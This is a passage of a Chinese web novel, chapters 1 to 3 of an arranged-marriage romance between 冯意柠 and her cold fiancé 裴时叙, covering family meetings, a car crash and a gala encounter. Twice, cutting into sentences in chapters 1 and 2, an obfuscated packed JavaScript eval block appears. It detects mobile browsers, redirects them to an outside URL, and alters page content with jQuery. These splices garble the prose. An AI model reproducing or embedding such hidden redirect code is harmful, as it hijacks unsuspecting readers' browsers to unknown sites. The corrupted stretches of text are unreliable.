《旧时婚书》 1. 来逮人 临北,三月底。 改色款玛莎拉蒂停靠道边,冯意柠径直走去,把行李箱利落放到后备箱,随后拉开副驾驶座车门,坐了进去。 驾驶座上的姑娘,一头浅栗色卷发,偏过头的时候,朝着来人打了个清脆的响指,在空气里一触炸开,恶作剧似地笑了笑,这才收回手。 “这次回来就不走了吧。” “不走了。” 冯意柠给自己系好安全带。 孟思栀转眸回来,细细打量快小半年没见的发小,她俩自小长大,躺在床上彻夜聊天过,也一起写过检讨,特铁的那种。 只是这么些年,她还是会不自觉看着自家发小出神。 这天渐暖起来,眼前姑娘一身杏色衬衫水蓝长裤,外面只简单套着件外套,随手挽了个丸子头,几缕碎发在后颈垂下,脸颊白皙素净,活脱脱个青涩大学生。 只是瞧清她的眸光,就完全不像了,尽显高门大户里的温婉气质。 冯意柠垂眸回了消息,正抬眼,对上孟思栀直直瞥她的目光。 “想什么呢?这么出神。” 孟思栀回神,话也不着调:“面前有这样个一眼难忘的仙女姐姐,偶尔晃会神,也是很正常的事情嘛。” 冯意柠这些年早就习惯发小病入膏肓的颜控属性,只是轻笑了笑,没说什么。 孟思栀朝她手里握着的手机努努嘴,打趣道:“你这回国一趟,跟做贼似的。” 冯意柠眼眸几分无奈:“没办法,回来就要结婚了。” 孟思栀说:“你说你这才刚毕业,这婚你家二姐都还没结呢。” 冯意柠说:“老爷子更急些。” “你家老爷子急什么……”孟思栀很快反应过来,顿了下,“裴老爷子?” 都知道冯、裴老爷子过去是战友,一起上过战场立过功,早些年冯意柠还是个年幼白净的小姑娘的时候,被带去裴公馆,面对威严的裴老爷子,偏偏是这个小辈里瞧着最乖的小姑娘,敢上手拔胡须,敢管着犯脾气的老爷子吃药,也最得老爷子欢心。 这门婚事,就是两位老爷子自那会定下的。 孟思栀说:“也是,他一直把你当亲孙女看待的,这回好不容易等到你回国,巴不得你快点过门,他家大孙今年二十九了,明年就老男人一个,怕你被哪个年轻帅气的小狼狗抢走,毕竟夜长梦多。” 冯意柠被这句“老男人”逗笑,还是善意提醒:“这话别在人前说。” “我哪敢啊。”孟思栀说,“别的不说,你那没过门的老公,那股摄人的压迫感,真是拿捏得死死的。” 能让孟小姐怕的人不多了,冯意柠这会来了几分好奇:“有这么吓人?” “胆战心惊,所言非虚。”孟思栀像是想到了什么,不愿意多说,“你的印象呢,还停留在N年前的古早版本,反正早晚再见着面儿,就知道了。” 冯意柠猜想是什么黑历史,既然对方不好意思说,她也不打算刨根问底。 车窗外街景不断倒退,今日天光大好,灿色阳光大片铺撒,孟思栀故意问了句:“把你送回家?” 要是回家,她何必要麻烦孟思栀来接她一趟?冯意柠只当没听懂她的坏心眼:“去工作室。” “哪有人刚下飞机就直奔工作室的?”孟思栀有些好笑地嘟囔,“真是小工作狂配老工作狂,绝配上了。” 冯意柠算是听出来了,她这发小最近被家里磨着去相亲,怕是被折磨疯了,这会对她话里话外都是打趣,是想拖着她也下水。 她有意问了句:“什么?” 孟思栀声音不算低,心想怎么可能没听清,还故意来问她一句,这人瞧着温温柔柔的,时不时却会冒出些坏心眼,不过仙女总是有被原谅的特权的。 于是她很大发慈悲地揭过这茬,转而问起正事:“你那不缺人?” 冯意柠如实地说:“缺人啊。” 她没有听从家里继承家业的安排,可在国内的工作室前途未卜,正是缺人之时。 孟思栀说:“半小时前,简历发你邮箱里了。” 冯意柠有些讶意,却也在意料之中,口吻几分认真地问:“考虑好了?你家里人不是一直希望你去家里公司吗?” “你孟小姐,向来不学无术,就是有一个天大的优点——”孟思栀笑了笑,“有钱。” “你若是玩票,我有闲有钱,反正有的是时间陪你耗费。可你若是想大干一场,发小有需要,那我责无旁贷啊。” 孟思栀话锋一转:“除非你嫌弃我。” “怎么可能嫌弃你。”说不感动是假的,冯意柠说,“就你履历里的那些大奖,来这个级别的工作室当主美,是我高攀了。” 孟思栀口吻几分玩笑意味:“先别哭,我知道你好爱我。” 过了会,冯意柠眸中浮现柔和笑意:“不会让你的选择后悔的。” 孟思栀突然开口:“先别后悔不后悔了,你看。” 冯意柠循声,朝着前方岔路口瞥去。 一辆火红法拉利敞着蓬,极其嚣张地停在街道边。 这是特意侯着她呢。 眼熟的车型,这般招摇的阵仗,闭眼都能想到是何人的手笔。 这时一只纤长的手伸了出来,稍稍探出身的人,发质乌黑蓬松,长发大波浪,皮肤白得反光。 指尖涂着丹寇,很随意地抬起造型夸张的红玫色帽檐,露出的一双狐狸眼微翘,很有冲击力的浓颜五官,朝着她们轻眨了下左眼。 “你家小嫂嫂,也就一个字能形容。”孟思栀眼睛都看直了,比了个大拇指,“——靓。” 冯意柠拿起杏色手提包:“工作室之行,还是改日再约吧。” 孟思栀问:“就不做一点点抵抗?” 冯意柠口吻认命:“都特意来接了。” “还能有旁的法子吗?” 孟思栀一脸看热闹不嫌事大的笑容:“祝你好运。” 下车,冯意柠直直走到车前,笑着打招呼:“小嫂嫂。” 商窈杳跟开车走的孟思栀挥手道别,这才撑着手臂,慵懒趴在车沿边,笑得极其的无辜:“刚巧碰到你,顺路接你老宅。” 哪就能这般凑巧?不过冯家一向乐得哄着宠着这位小嫂嫂。冯意柠说:“那走吧,回老宅。” - 冯家老宅,客厅里。 冯意柠端正坐在沙发上,怀里抱着只璃兔的周边抱枕,她自己设计的,往家里寄了一套,被母亲放在了老宅各处。 左手边坐着二姐,一侧坐着大哥和小嫂嫂,对面坐着冯氏夫妇,除了远在南方度假休养的老爷子,一大家子人齐全了。 商窈杳清了清嗓子:“刚巧今儿都在,关于柠柠这婚事,家庭会议现在开始。” 冯家一向有家庭会议的俗规,冯意柠对这阵仗倒是很习惯了。 早在车上小嫂嫂一改常态,让她阖眸养神的时候,她就知道回来有此一劫。 “既然没人说话,那我先说了。”商窈杳说,“我不同意。” 这话不让人意外,冯承安和齐馥仪对视了一眼,被老婆不动声色地抵了下手臂。 冯承安看向一向沉稳的大儿子,稍顿沉吟:“这婚事,阿礼怎么看?” 冯俞礼稍稍抬眸,对上自家老婆饱含“威胁”的目光,眸底几分纵容:“听太太的。” 冯承安又看向二女儿:“清清呢?” 冯亦清说:“既然是柠柠的婚事,最该听听她的想法。” 一时间,众多目光过来,冯意柠说:“我觉得还好。” “我倒是也觉得不错。”齐馥仪说,“裴家这孩子,虽说性子冷淡了些,可毕竟是在裴老爷子跟前养大的,样貌人品都知根知底,没不良嗜好,身边没莺莺燕燕,亲家之间算得上熟悉,柠柠嫁过去也不会受委屈。” “老婆说得是。”冯承安环顾了一周,“咱们家呢,一向秉承民主的原则,既然大多数成员都没异议,那就散会。” 冯承安起身。 “柠柠,跟我来趟。” 这会是白玉兰正开的时候,黄昏渐至,在窗台落下影影绰绰,冯意柠挽着父亲的手臂,在庭院里漫步。 冯承安问:“真不准备来衡思帮把手?” 家里集团早早就为她安排分管的产业,一入职就是实打实的小冯总。 冯意柠说:“不打算,我知道爸妈是担心我在外头吃苦受委屈,不过我胜在年纪轻,不知轻重,总想闯一闯才肯安生。” “你这性子,倒是像我。”冯承安脸上满是欣慰笑容,轻拍了拍小女儿的手背,“不过在外头受了委屈,找你二姐谈谈心。或是想撂摊子不干了,跟你大哥说,他自小就宠着你,也乐意为你善后。” 冯意柠问:“这话大哥交代爸爸的?” 冯承安不承认:“我是长辈。” 工作室这事儿,冯氏夫妇一开始并不同意,还是大哥和二姐从中斡旋不少,替她说服。 家中的关心她都领情,心口微微几分酸胀,冯意柠说:“回头该我请大家吃顿饭。” 冯承安又问:“这婚事,不委屈?” “门当户对,旧时婚约。”冯意柠说,“凭对方的样貌家世,我算不上吃亏。” 这话她没有半点虚意,她这种家庭,婚事讲究门当户对,没有这位裴公子,也会是是陆公子、顾公子,爱情对她来说太缥缈,摸不着,也没必要多想。 冯承安又轻拍了下她的手背:“冯家一直在你身后。” 冯意柠笑道:“知道了,爸爸。” - 工作室以璃兔IP开展,最初灵感源于冯意柠在国外读书时,在加州华人街的一家小餐厅,偶遇年迈的玻璃手工艺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391685|168549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 者,她随手画了副粉色垂耳兔涂鸦被做出实物。 之后她与志同道合的朋友们,做了些国风特色的文创产品,在市场里反响不错,到今日工作室已有不小的规模,这次回国,就是想在国内市场将璃兔IP进一步发展起来。 回国这一个月,冯意柠就没闲着,一直在忙诸多事项。 好不容易偷闲,冯意柠还没出工作室楼下,就被商窈杳半路拐走了,说是最近梭子蟹当季肥美,错过实在可惜。 车窗外风景不时后退。 黄昏已至,这座历史古蕴的老城,在记忆里一直没怎么变过,尘埃和喧嚣在微醺暮色里半隐。 商窈杳说:“回临北这么些天了,你那位未婚夫倒是日理万机,就连抽空见一面的时间都没有,实在是瞧不出一点诚意。” 冯意柠笑了笑:“小嫂嫂,你都说是未婚夫了,毕竟还没有实质关系。” 其实他不来,她反倒乐得自在。 商窈杳还不死心:“这人很冷漠,最不好相处,没准在家话都跟你讲不上两句。” 优点,不用私下相处尬聊。 “是个工作狂。” 优点,不用陪老公。 “传闻他那方面有问题。” 还是优点,不用过夜晚夫妻生活。 “砰——” 商窈杳眉头微皱。 冯意柠也被突然的变故惊到,微翘唇角的笑意一敛。 车窗半摇下,大致查看情况,蹭到了前面的车。 还是四辆车连环追尾。 没一会,从前面的那辆迈巴赫下来个男人,瞧着很高,一身轻薄黑夹克,漆黑眼眸里少有几分情绪,露出一截冷白腕骨,介于少年气和成年男人的恰如其分。 商窈杳瞧清来人,眼眸一亮,朝着冯意柠意味深长地看了眼:“熟人啊,这是。” 冯意柠没花几秒就认出这人,她去年假期回国,他们在晚宴见过一面,在长辈面前还简单聊了几句,只是那时,对她的态度还不冷不热的。 裴淮景直直走到跟前。 商窈杳率先开口:“小酷哥,真不考虑来我公司来拍一组时尚大片吗?” 冯意柠一听就知道自家小嫂嫂颜控毛病又犯了,商窈杳最近在为一组商业时尚大片的男模特人选犯愁,她在圈内阅男无数,眼光高,看腻了一堆的庸脂俗粉。 “不考虑。”裴淮景不加犹豫地说,“多谢小商总厚爱。” 转而移眸:“嫂子。” 这话一出。 冯意柠:“?” 商窈杳:“??” 一片沉默中,商窈杳开口问:“你们见过了?” 裴淮景说:“没有。” 商窈杳纠正:“我是问她和你大哥。” 裴淮景还没回答,冯意柠说:“没有。” 算起来这近六七年,不是他在国外,就是她在国外,巧得很,确实没见上过一面。 裴淮景说:“来之前大哥叮嘱过。” 大哥原话“再见着人了,管住些嘴”,他稍稍思索了下,那便是对他去年晚宴那回表现不满意的意思,让他再见着人,嘴知趣些,在还没过门的未来大嫂面前,给大哥和裴家留下几分好印象。 商窈杳面上不显,心里愈加狐疑不定。 这小酷哥向来又冷又傲,见着面态度不冷不热惯了,跟他家大哥简直一个模子刻出来的。再说自家小妹跟裴家那位,自年岁大了后,统共没见着过几面。 这人既没过门,算什么名正言顺?这回一见着面,还教自家弟弟喊得这么亲热。 想到这,商窈杳忍不住冒出一个极其大胆的想法:“他暗恋?” 一瞬间冯意柠和裴淮景的神情,都变得有些许沉默难言。 稍顿,还是冯意柠说:“荒谬了。” 商窈杳看着自家小妹,神情若有所思,越想越觉得不妙,也越想越觉得事出反常必有妖:“要不你赶紧连夜逃到国外去吧?现在还来得及。” 冯意柠低声提醒:“来不及了。” 商窈杳低头发消息:“怎么就来不及?我现在叫人申请航线,私人飞机随时侯着。” 冯意柠手指微抵在唇边,垂眸,飞速发了条提醒消息。 【来逮人了】 半点没注意人走近的商窈杳:“?” 渐朦暮色里,不时闪映霓虹灯光,站在车前的来人,眉骨挺直,五官很深,一身白色衬衫,领带没系,深色西装外套随意半挽在臂弯。 另一手随意叩了下车窗,冷白手背浮现青筋。 男人尤其是双眼皮褶皱很深,懒撩眼眸瞥人,一股漫不经心的劲儿,薄凉又倨傲。 对视间,冯意柠察觉到这道目光,准确落在她的脸上。 下一秒,低沉冷感的嗓音随之传来。 “未婚妻,打算逃婚?” 2. 雪松气息 老城的渐朦暮色里,骤然响起了一阵刺耳鸣笛声,打破了凝滞的沉默。 虽说六七年没见,这人没怎么变,比早些年愈加沉淀成熟气度,只是那副倨傲冷淡的性子,倒是半分不减。 徒生不近人情的距离感。 寒暄和叙旧是相熟的人才会做的事,可他们多半算是熟悉的陌生人。 冯意柠提醒:“先取消一下。” 商窈杳把刚刚通知申请航线的消息撤回,随意锁住屏幕,她向来秉持“只要自己不尴尬,尴尬的就是别人”的原则。 裴淮景说:“车就蹭到了些,也不碍事,就不用劳烦嫂子和小商总。” “亲兄弟还明算账,这不是还没来得及攀上关系?”商窈杳笑了笑,不是很承情,“再说,这点钱我倒还出得起。” 裴时叙口吻淡淡:“嫂子?” 商窈杳在旁边看戏,煽风点火道:“看来是自作主张。” 她还以为是这人特意教的亲热称呼,看来只是她杞人忧天。也是,这工作狂懂什么人情世故。 裴淮景说:“原话不是说,再见着人了,管住些嘴?” 裴时叙说:“管住嘴了么。” 裴淮景:“……” 得,是他没事找事,多此一举。 思及老爷子的唠叨,裴淮景又问:“既然都是熟人,方便搭一程?” “行啊。”商窈杳很爽快,“去哪?” 裴淮景说:“前面路口,有车在等。” 商窈杳还在心心念念模特人选的事情,却没想到,要上车的不是自己的目标。 对方的车是最后一辆,裴淮景还要留下来处理追尾,还不忘助攻道:“大哥赶着去出差,多谢。” 裴时叙只是淡瞥过自家弟弟,对这自作主张的安排,眸中倒是看不出几分情绪。 冯意柠看到商窈杳向自己投来的一眼,眸中意味很明显。 ——早知道拒绝了,说什么都不该让这人上车。 裴时叙坐进车后座,车窗外街景倒退,车上沉默一片。 冯意柠先打破了冷场:“裴总,这么晚了,还赶着去出差?是要去哪?” 裴时叙说:“国外。” 冯意柠心想,这人回答够言简意赅的,连跟她尬聊的敷衍,都不藏着半分。当然她很满意这点。 比起没话找话的尬聊,她更愿意沉默,此时竟开始展望幸福自由的婚后生活。 裴时叙又说:“下周回来。” 冯意柠说:“一路顺利。” 坐在驾驶座的商窈杳,微微皱眉,这俩人不是据说不熟吗? 很纳闷地想,所以是在报备什么呢? 裴时叙被放在前面路口,跟两人稍稍颔首,权当道别。 下一秒,驾驶座上的人踩下油门,火红法拉利在夜色里拉长一道火焰。 街口已经有车在侯着了,裴时叙上车,来人是司机李叔,是裴家多年的老人。 这时裴淮景的电话打了进来:“没聊上两句?” 裴时叙问:“老爷子差你来监视?” “没过门的未婚妻就在面前,你都不急,我又何必多费心思。”裴淮景说,“再说,老爷子这会不在临北,这次我算是尽心尽力,总不能再逮着我,苦口婆心地训一堆,说着对未来大嫂多冷漠,多不上心。 裴时叙冷嗤道:“你要是赶着上心,问题才大。” “这谁不说他老人家一句糊涂。”裴淮景说,“不过能理解,毕竟我家大哥今年二十又九,老爷子巴不得你恨嫁。” 裴时叙口吻淡淡:“李叔,钟姨攒的相亲局,眼下缺人,我看阿景合适。” 李叔乐呵呵地笑道:“我也觉得二少爷合适,回头就跟小姐讲,让她早日给钟太太打个电话。” 惨遭安排的裴淮景:“……” - 追尾意外碰面那人的那事一过,冯意柠又恢复往日的忙碌。 未婚夫远在国外,她乐得清静。 只是让冯意柠没想到的是,未婚夫还没来,礼倒是先至了,都是些稀罕玩意,不至于太隆重庸俗,倒也不失用心。 捎来的话也礼数备至:一是问候长辈身体近况,二是解释近来诸事忙碌,改日上门赔罪,三是知晓冯家三小姐最爱琉璃,寻了套明成化琉璃高脚杯,五彩绘十二月花神。* 冯意柠只是瞧上一眼,便对这套薄胎琉璃杯爱不释手,因着爱屋及乌的缘故,对远在国外的未婚夫也多了分好感。 齐馥仪生性爱热闹,更别提是自家小女儿婚事:“要找时间跟裴家一起吃顿饭。” “酒店定哪家?要不问问如龄,鼎睿旗下那么多老牌酒店,家里人办事也放心。” 冯承安觉得要矜持,不能太主动:“那是裴家张罗的事儿,你上赶着做什么。” 齐馥仪说:“结婚这种大喜事,用得着分什么你的我的?” 漂亮的雪白波斯猫趴在腿上,商窈杳顺着柔滑的毛发,一手慵懒玩着老公的手指,没兴致地瞥着只顾着琉璃杯的小妹。 枉她这些天跟小妹分析利弊,结果就被一套琉璃杯收买了。 “你小妹太没出息。” 尾指被不动声色地轻捏了下。 深色大衣随手搭在沙发扶手,身旁男人垂眸看着手头的报表,语调沉稳:“柠柠年纪小,多亏你照看些。” 商窈杳任性惯了,此时被顺着哄着,像只骄矜的猫咪,很轻易被顺毛了。 “柠柠也是我的妹妹,我当然会好好关心她了。” 冯俞礼没抬眸,唇角无声牵动了下。 冯亦清倒也很习惯家里这副场面:“爸,裴家来的电话。” 冯承安不情愿:“来电话,我就要接?” 冯亦清提醒:“裴爷爷的。” 冯承安一改矜持做派,连忙起身:“你这孩子,怎么不早些说。” 齐馥仪在一旁掩唇偷笑。 等冯承安打完电话回来,交代道:“两位老爷子的意思,这婚事儿不着急,先让俩小辈见见面。” 齐馥仪说:“也是,毕竟柠柠和阿叙也许久没见,想着也有六七年了。” 商窈杳心念流转,红唇扬起:“算算回来的时间,过几天有场晚宴,不如让柠柠先去见面瞧瞧。” 齐馥仪说:“我这就去给娴若打个电话,知会一声。” “妈,你忘了,林姨近来不在临北。再说小小一张邀请函,哪用得着劳烦到她啊。”商窈杳说,“这事儿交给我放心。” 齐馥仪和冯俞礼对视一眼,得到默许纵容的一眼:“那行,杳杳多费心。” 晚上,冯意柠抱着枕头和垂耳兔玩偶,敲响了二姐的房门。 “进来吧。” 冯意柠走进去。 冯亦清膝头放着pad,正在浏览助手发来的封面样图,往旁边挪了点位置。 二姐是知名插画师,从小她身子弱,长年养在家中,长大后是家中唯一没接触家族产业的人,她有种浑然天成的温柔耐心,虽说排行老二,家中没谁明说过,可都不约而同地对她有种天然保护欲。 带来的枕头被垫在身后,冯意柠跟她并肩坐着,垂耳兔玩偶抱在怀里,下巴抵着一片毛绒绒上面,静静看了会二姐耐心处理工作。 冯亦清大致处理了会细节问题,将pad合上,转眸看着家里最小的妹妹,几分孩子气的模样,伸手,替她将几缕微乱发丝拢到耳后。 冯意柠一瞬不瞬瞥着她:“二姐,最近有什么进展吗?” 冯亦清说:“在忙签售。” 冯意柠说:“你知道我问的不是这个。” 冯亦清轻笑道:“能有什么进展。” 冯意柠提醒:“我是觉得,他不怎么适合你。” 在这件事上,她跟冯家其他成员都是一个态度,明眼人都看得清,可这么多年,仍是没有半分进展,两人也没谁表态。 自欺,也是欺人。 冯亦清笑道:“这世上,哪有谁天生适合谁的?” 冯意柠在外有多独立,在家里人、姐姐面前就有多孩子气,脸颊蹭在她的肩膀:“反正配不上你。” 她的二姐,值得这世上最好的一切。 “有些事说得太开,也没什么意思。”冯亦清说,“也可能某天,我想开了,就没什么念想了。” 冯意柠有意揶揄她:“那你没事看什么烟火大会?当然你要是没人陪着,我都有空。” 冯亦清说:“不是劝我早做了断?” 冯意柠下意识环紧怀里垂耳兔玩偶:“真的?” 冯亦清说:“真的。” 又转而口吻认真说:“柠柠,这婚你要是不想结,我来给爸妈讲,这话,我今天只问你这么一遍。” 冯意柠问:“你就这么支持我?” 冯亦清说:“你是我的妹妹,我当然支持你。” 冯意柠又问:“要是我愿意呢?” 冯亦清笑了笑:“那我当然祝福你了。” “其实我没有很抵触结婚。”冯意柠轻声说,“二姐,你有喜欢的人,我没有,就算没有他,也会有别人。” “而且我今天看到琉璃杯,又改变了一点想法。” 冯亦清开玩笑:“一见钟情了?” 冯意柠摇了摇头:“就是觉得他又多了一个优点。” 目前看来,最重要的是未来这位老公对她丝毫没兴趣,婚后不用私下相处尬聊,不用陪老公,不用过夜晚夫妻生活。 其次,这人颜值高多金,背景深,就算当个家里的花瓶摆设也养眼。 冯亦清神情几分不解。 冯意柠解释:“够养眼。” 主要是让她看得比较顺眼。 - 晚宴那天,冯意柠早早被商窈杳接上,为避人耳目,小嫂嫂特意换了辆车,黑色商务型,是她平日里最不爱的那款。 冯意柠穿了身缎面茉色长裙,极衬她的白皙皮肤,半遮匀称小腿,裙摆随着走动泛着弧度,温婉又大方。 宴会角落里,商窈杳微扬下巴:“喏,你未婚夫。” 冯意柠循着目光瞥去。 顶灯撒下纸醉金迷的流光,男人五官显得愈深,眼睑处落下刀锋般的阴影,一身深色手工西装剪裁得体,修长指骨随意搭在沙发扶手。 这位向来倨傲的裴公子,任凭旁人低眉殷勤,难掩眸中意兴阑珊,身处浮华名利场,却漫不经心有余。 没一会,身旁久久站着的男人,瞧着他实在是没什么兴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391686|168549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 致,招手朝侍应生要了杯红酒,想要欠身敬酒。 男人稍稍抬手,修长指骨按住杯底,薄唇微启,瞧着口型像是句“犯不着”。 那人被下了面子,却只能连连赔笑。 商窈杳说:“那是覃家老四,平日里作威作福惯了,在他面前跟个孙子似的。” 冯意柠微微点头。 商窈杳问:“不去说些什么?” “我觉得来之前小嫂嫂说的对,我们既然是偷偷潜入,还是默不作声地观察,以不变应万变为好。”冯意柠挪开目光,拿起一块慕斯蛋糕,“尝一口吗?” 商窈杳:“……” 我看你是借我的话摆烂。 - 薄蔺舟执着杯红酒,随意坐在一旁,潋滟酒液折射着流光。 他跟裴时叙算不上自小一起长大,兴趣倒颇为相投,一来二去,反倒成了近友。 只是相熟才明白,这人面上瞧着不好相与,私底下更不好相与。 “那不是冯家的小姑娘。”薄蔺舟微抬下巴,“不去瞧瞧?人特意为你来的。” 裴时叙说:“既是避着人来,那就更不适合打扰。” 话里话外都是没几分兴趣。 薄蔺舟说:“我是管不了这事儿,你家老爷子呢?” 裴时叙说:“在国外修养。” 薄蔺舟微挑眉梢,了然道:“我说,原来是仗着天高皇帝远。” 裴时叙不可置否。 薄蔺舟远远瞧见来人,举起酒杯:“还没恭喜你和太太复合成功。” 来人是谢家的两位,四五分相像,气质迥然不同,一个稳重一个懒散。 谢从洲回敬酒:“这话我乐意听。” 只是刚敬完酒,谢从洲瞧着走开的高大背影:“这是刚来就走了?” 裴时叙说:“这儿怕是没他想见的人。” 谢从洲懒散笑道:“这年头多稀奇,他也能长心了么。” 谢迟宴一身笔挺西装,语调沉稳:“他向来那性子。” “这倒是。”谢从洲低低地笑了声。 裴时叙问:“几时走?” 谢迟宴说:“明儿就走。” “一去就是大半年,为并购案。”谢从洲压低嗓音,“昨儿才刚领证。” “俞礼哥都弃暗投明了,剩下你们两个工作狂,没救。” 说完碰到熟人,勾肩搭背地走了。 这处只剩他们二人,旁人碍于这两位的身份,一时不敢随意靠近,倒乐得清净。 裴时叙问:“还是那小姑娘?” 谢迟宴口吻如常:“那?” 这明摆揣着明白装糊涂,裴时叙也不迂回:“洛杉矶出差那回,非要赶去旧金山,就为了送一块生日蛋糕?” 谢迟宴说:“她是客,人不生地不熟。” 裴时叙说:“还以为你逃婚么。” 谢迟宴说:“不至于。” 也正是都是这般冷清的性子,才处得长久,裴时叙不愈多问,谢迟宴也不愈深聊,私事点到为止即可,多了就没趣了,再开口便是项目和合作。 晚些时候,裴时叙大大方方走了,他向来想走就走,无人敢拦。 宴会厅偏门连着庭院,正值四月春意,馥郁花香漫过,裴时叙余光瞥到有一小团的白,这处按理说不该放人进来的。 只消一眼,便认出是那位长辈们嘴里有多懂事温婉的冯三小姐。 仅回国后见着面的两次,回回表现得温婉娴静,有礼貌,有分寸,跟记忆里那个爱哭黏人的小姑娘相去甚远。 这些年,被养得无趣了许多。 而此时,颓圮的花墙边,年轻姑娘翻过了剩下半边身子,直着身,拍了拍手间蹭落的薄灰,扯了扯裙摆,在自以为无人的私下时刻,神情生动了不少。 裴时叙停步。 饶有几分兴致地,多瞥了眼这小姑娘的狼狈。 …… 商窈杳碰到老熟人,一起聊起物色模特的事,正在兴头上。 正合了落单的冯意柠的意,只是没想到问到的这处“密道”,竟然费了这些功夫,差点划破她的裙摆,还好她今天的鞋跟不高。 庭院里的桃花开得正好,冯意柠还没来得及多观赏上两眼。 耳畔突然穿来枯叶被踩碎的声响,月光静静铺撒在地面,自斜侧方投来一道高大的影子。 冯意柠受惊,下意识往后退了一步,却不幸踩空了,只是身形不稳的瞬息间,身后是墙,可意料的痛感却没有传来。 后脑勺被大掌垫住,发出一记磕碰到的闷响声。 徒生的变故突然,冯意柠目光只来得及落在眼前垂在一侧的手上。 冷白手背浮着青筋,显出成年男性的力量感。 空气里清甜的花香里,有抹清冽的雪松气息,彰显存在感地掠过鼻尖。 男人只是虚撑在身前,一手护在她的后脑勺处,另一手只随意垂在一侧。 这是个暧昧迫近的距离,成年男人的陌生气息,将她困在身前,像是要将她笼罩浸没。 弦月高悬,半空浮着一层清淡光雾。 冯意柠缓缓抬眼,对上漆黑眸底掠过的几分意味不明。 “胆儿这么小么。” 3. 一场交易 冯意柠对这位未婚夫的印象,最早要追溯到他们的一次见面。 那年她四岁,被带去裴爷爷家里的度假山庄玩,午休后跟一群小孩一起捉迷藏,自作聪明地跑得很远,躲进废宅后头的假山,正好卡在灌木丛的夹缝的位置,很隐蔽。 也是因为那天的阳光很好,她闭眼前,心里抱着肯定没人能找到她的天才想法,一觉睡得酣眠。 等她醒来的时候,周围黑黝黝的,又冷又饿,出去的路口,却被一只威风凛凛的野猫堵着,双眸闪着可怖的绿色荧光。 等到少年赶来找到人,被困废宅角落的小姑娘已经哭成泪人,紧紧抱住他的脖颈,眼泪都糊到侧颈和衬衫上,只能一边抱在怀里低哄,一边用手帕擦拭眼角和脸颊。 在那个暑期,在国外读书的少年归家,是印象中最初的见面。 冯意柠很少会回想这件往事,一个小姑娘被野猫吓到,抱人跟只考拉似地,紧揪着不放,还莫名其妙糊了他半边衬衫的眼泪。 在对方看来,是糟糕的记忆;而对她来说,简直是人生中一次重大的黑历史事故。 因着这场婚事,这些年她从各类亲朋的嘴里,或多或少听过对这人的印象,不外乎是倨傲、冷情、不好相处、难以接近。 跟记忆里当年那个把年幼的她,抱在怀里低哄的少年印象,重叠又遥远。 思绪稍稍回笼,冯意柠意识到,这六七年来,竟然算得上他们私下的第一次见面。 对视的好几秒间,裴时叙开口道:“冯小姐。” 冯意柠也不清楚这会叫她做什么,只能佯装平静地应了声:“嗯。” 沉默中,头顶枝头上的桃花潋滟,清风徐来,几片花瓣落在她的侧颈,一片白皙中晕开淡淡粉白。 裴时叙挪开目光,不自觉微蹙眉头:“劳烦,头挪开些。” 冯意柠:“?” 这会她意识到大概是自己的后脑勺,压到了这位屈尊降贵的大少爷的手。 冯意柠稍稍前倾,注意着距离,以防不小心贴到他的身体。 那道目光似是瞥来了眼,还没等冯意柠来得及确认。 很快男人收回自己的手,那股迫近的雪松气息随之退离。 跟这人拉开了距离后,冯意柠明显感觉自在了许多。 只是目光落在刚刚垫在后脑勺的手,冷白手背泛着微红,明显是被撞的。 虽说是她的后脑勺和墙面是主谋,可肇事者也难辞其咎,明显是这个不打招呼就靠近的行为,一时把她吓到了。 实在没想到这个打听到的僻静“密道”,竟然还能有旁人在。 也就是多停留了这两秒的目光,冯意柠被男人淡瞥了眼。 冯意柠心想既然被逮到发现了,那场面上不能过不去,轻声问:“我能看看吗?” 不情不愿、却还要佯装关心,这小姑娘脾气还挺大。裴时叙说:“请便。” 冯意柠只是打算嘴上客气一下,没想到男人没有遵守成年人之间的客套规则,比起不懂,多半是装作不懂。 话既然都说出口了,冯意柠也只能用手帕托起男人的手掌,半垂着眸,认真查看“伤口”,可能她再不仔细多看上两眼,就快要全好透了。 裴时叙说:“冯三小姐是打算隔离病菌么。” 冯意柠手指一顿,这人脾气冷,嘴还毒。 也就是脸够顶级好看,优点减二。 “这样会疼吗?” 隔着一层手帕,冯意柠轻捏了捏男人的手指,他的指骨修长,骨节很大,手掌要比她大上整整一圈,冷白却不显孱弱,很有力量感。 裴时叙看着她沿着骨节,轻按下去。 隔着半空一层淡淡的月光浅雾,这姑娘垂着眼睫,神情无端认真温柔,能看清白皙脸颊上的细小绒毛,被触及到的皮肤,仿若被柔软轻云蹭过。 晚风拂过她身上淡淡的馨香,似有若无地萦绕鼻尖。 冯意柠一直没听到回答,有些奇怪,忍不住抬眼。 裴时叙声质偏冷:“不疼。” 怎么才一会就变脸?冯意柠收回手:“没事就好。” 裴时叙开口道:“是准备走?” 难不成还能是想来庭院欣赏月色?冯意柠只是问:“裴总也走得这么早吗?” 在这种晚宴,想向这位献殷勤攀关系的人可不在少数。 裴时叙说“是”。 这天真是一聊就是死局,冯意柠心想,也不至于这么惜字如金,明明刚打趣她的那会,还说了整整十一个字。 到了这会,冯意柠总算想起来思考这人是从哪冒出来的了,从目前这个方位,不可能是从后头来的,可她刚刚也很明确没看到前头有人。 冯意柠本能感觉不妙,试探性地问:“您从哪来?” 裴时叙眼眸微掀。 